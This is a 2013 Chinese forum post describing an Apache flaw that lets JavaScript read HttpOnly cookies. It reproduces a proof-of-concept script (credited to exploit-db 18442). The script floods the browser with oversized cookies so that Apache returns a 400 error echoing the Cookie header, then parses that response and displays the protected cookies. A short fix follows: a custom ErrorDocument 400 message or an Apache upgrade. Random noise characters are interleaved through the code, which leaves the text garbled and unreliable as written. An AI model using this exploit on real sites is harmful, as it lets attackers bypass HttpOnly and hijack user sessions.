找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2857|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 y  B8 h& B. @2 Q3 F( S2 n0 v; @8 V6 T2 s/ S' w% q
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
5 z4 m. w6 ~( J& T+ \) y. c1 m , ?( T6 @8 x, H% Q4 u- Q# |
- v' G; ~: b! c1 [7 k! v
// http://www.exploit-db.com/exploits/18442/
: c3 c, _; |4 g- @* x" U4 t! xfunction setCookies (good) {
: @* {" Y4 m- a// Construct string for cookie value
+ {3 ~: F, ^- @4 ]5 _5 z, p- Avar str = "";
! G' D: @& Z, T8 r$ `for (var i=0; i< 819; i++) {5 [# B6 E, v+ Y" ^4 O
str += "x";
" M, _- v! ^6 t1 }# R8 _2 Y}( u. T, {' W. b& }; ?: j7 G" ~% f- X
// Set cookies) `9 [% |# }; {
for (i = 0; i < 10; i++) {9 ^1 d$ X- u" _7 [! }- R
// Expire evil cookie
. X  Y' ~- }* T% ]# w, b4 ]if (good) {1 T# `( e& G& c/ m- |
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
5 C5 ^: H' H# H4 I1 J}! J! s- y( G: u9 \& M8 r, B
// Set evil cookie
: u/ S( m# S6 r5 Q% @% W/ ?else {6 [) h! X+ l- B( Z
var cookie = "xss"+i+"="+str+";path=/";2 b) U" w3 q" e8 R0 a' e
}
1 r0 H) b! t* t. T. idocument.cookie = cookie;
! |: E" D* q5 T, B) I}. L( [, x& H2 _; `3 T. v' Z
}% a/ I, S/ N0 Q' a: r
function makeRequest() {
: [( ^9 J/ [. J5 x) H6 usetCookies();
+ F$ E4 C7 r1 h6 t0 Ifunction parseCookies () {) C" \+ t8 o# r
var cookie_dict = {};
" h7 h9 U5 |; a$ n// Only react on 400 status: v9 R* d* d" o# D& K7 [
if (xhr.readyState === 4 && xhr.status === 400) {
! @$ F( D6 u+ _7 L1 }// Replace newlines and match <pre> content9 P4 V2 b! z, m  t- G" A
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
/ m  v" b% r: T& v9 Bif (content.length) {
) G! x3 _' X6 Y( D. v// Remove Cookie: prefix
! ^$ O2 f' t5 }0 g! J8 U+ icontent = content[1].replace("Cookie: ", "");! n6 v/ `- b% h  \: z) [5 g
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
) i; u# K! X* R- s' m8 |& u9 z  _// Add cookies to object) E: m# C7 t* X
for (var i=0; i<cookies.length; i++) {
: ]$ B1 B) A5 a0 zvar s_c = cookies.split('=',2);, I* ]$ w) ~  ?1 A' d1 ^1 [4 c: z. ~
cookie_dict[s_c[0]] = s_c[1];
& O/ P5 ~4 f. ]  q: |8 Z}' n2 E. K1 ]" g+ p1 J4 s' d0 h
}
8 z. q  r2 ^+ g' o8 q// Unset malicious cookies0 E2 \) c0 W( G  Y! y6 y0 U0 `
setCookies(true);
) ]6 Z8 V+ O& [' G' [' z) U: ~alert(JSON.stringify(cookie_dict));
4 }- H1 z" ]$ k( E+ z}' X7 Q' ]( V9 K' ]0 c
}
. L) ^/ ?( m( c+ `2 h- J9 }1 |// Make XHR request7 u% ?( V. L% P% R- @
var xhr = new XMLHttpRequest();
8 X* ]. _# a2 l+ gxhr.onreadystatechange = parseCookies;- r+ g2 [8 f3 z, U: l
xhr.open("GET", "/", true);
. Y! {' m. p5 r/ u$ u& P1 r4 ]5 fxhr.send(null);
( J" V+ U1 |# C9 O, \}) Z0 r7 y6 @; Q: b4 w& Z3 Q* t
makeRequest();, B; |8 i' v" O! p0 J- Z

; ^/ ?! G: C# c: X5 A+ D你就能看见华丽丽的400错误包含着cookie信息。; ~: o; u* p) `- D

" E) a1 D* c  B; @& l* ?9 N下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& u1 W" \) }1 K/ o' T* c) y/ ^4 S1 p1 _* X' D
修复方案:! M& I. @/ {# k, Q
& \3 G2 k) B# |  d' ~
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下) `- n( l& S" n8 \

) q3 k# l- v; {& N8 uIn the event of a problem or error, Apachecan be configured to do one of four things,6 k! [; k( h3 u$ j# Y( ~$ }

* Z$ s- c; j2 ]6 \8 W+ U1. output asimple hardcoded error message输出一个简单生硬的错误代码信息/ c* o  A9 b* m
2. output acustomized message输出一段信息7 U& R6 v0 `; j" R
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 * R% p1 t/ H- G# w* s1 N
4. redirect to an external URL to handle theproblem/error转向一个外部URL- }  R  v6 z% _9 H

! W. H+ @, H3 {经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
% h) {' L9 B" s1 ~& V$ i* S' H% E9 c- \* L
Apache配置:
1 i0 Q( k; w; R7 b: d' o' x* F0 j: `# e
ErrorDocument400 " security test"
2 H, L. |* r# f7 f& p& B, j
$ v( ^" q* i- x, b当然,升级apache到最新也可:)。
% e3 t, U) w0 ~  [# ~4 `6 h
9 S, {- T% i( X参考:http://httpd.apache.org/security/vulnerabilities_22.html
, j: X% b, [( U- A: ~' O* H) o0 q( t" H5 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表